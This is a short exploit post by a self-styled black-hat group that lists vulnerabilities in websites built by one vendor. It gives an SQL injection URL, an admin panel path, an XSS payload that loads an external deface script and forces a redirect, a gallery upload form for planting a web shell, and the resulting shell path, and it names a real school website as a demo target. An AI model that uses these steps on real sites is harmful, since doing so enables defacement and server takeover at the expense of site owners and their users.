##################################################### # Exploit Title : কারিগরী সহায়তায়: WAN IT LTD SQl/XSS Deface Multi Vul # Google Dork : N/A # Exploit Author : mr.Gh0st N@0b # Tested On : Windows 10 # CWEs : CWE-89 # Date : 26.10.2017 ##################################################### # [POC] # http://site.com/about_us.php?menu=aboutus&id=-about-0000001 {Inject} # [Admin Panel] # http://site.com/admin/ {login Here} # [XSS Alert] # /admin/add_news.php?menu=news {Exploit XSS Script} # Example # <script src="http://yourdeface.js"></script> # <META http-equiv="refresh" content="1;URL=yourdefacepage"> # [Upload Shell] # /admin/add_gallery.php?menu=gallery {Upload Here} # [Shell Path] # http://www.site.com/admin/upload/gallery/yourshell # [Demo] # http://sonarhatsnc.edu.bd/ ##################################################### # [Bio] # mr.Gh0st N@0b ~ Myanmar Noob Hackers # Greetz to All Myanmar Black Hats # We Are -> H@73L noob -> Noob L34Rn3r -> ko noob -> Noob Soul -> N@ob 5t4r -> Noob Att@ck3r -> NooB 8007 -> Z3Ro Noob -> B@by Noob F!ght3R -> mr.Gh0st N@0b -> MrK1DD13 Noob # https://www.facebook.com/official.myanmar.noob.hackers/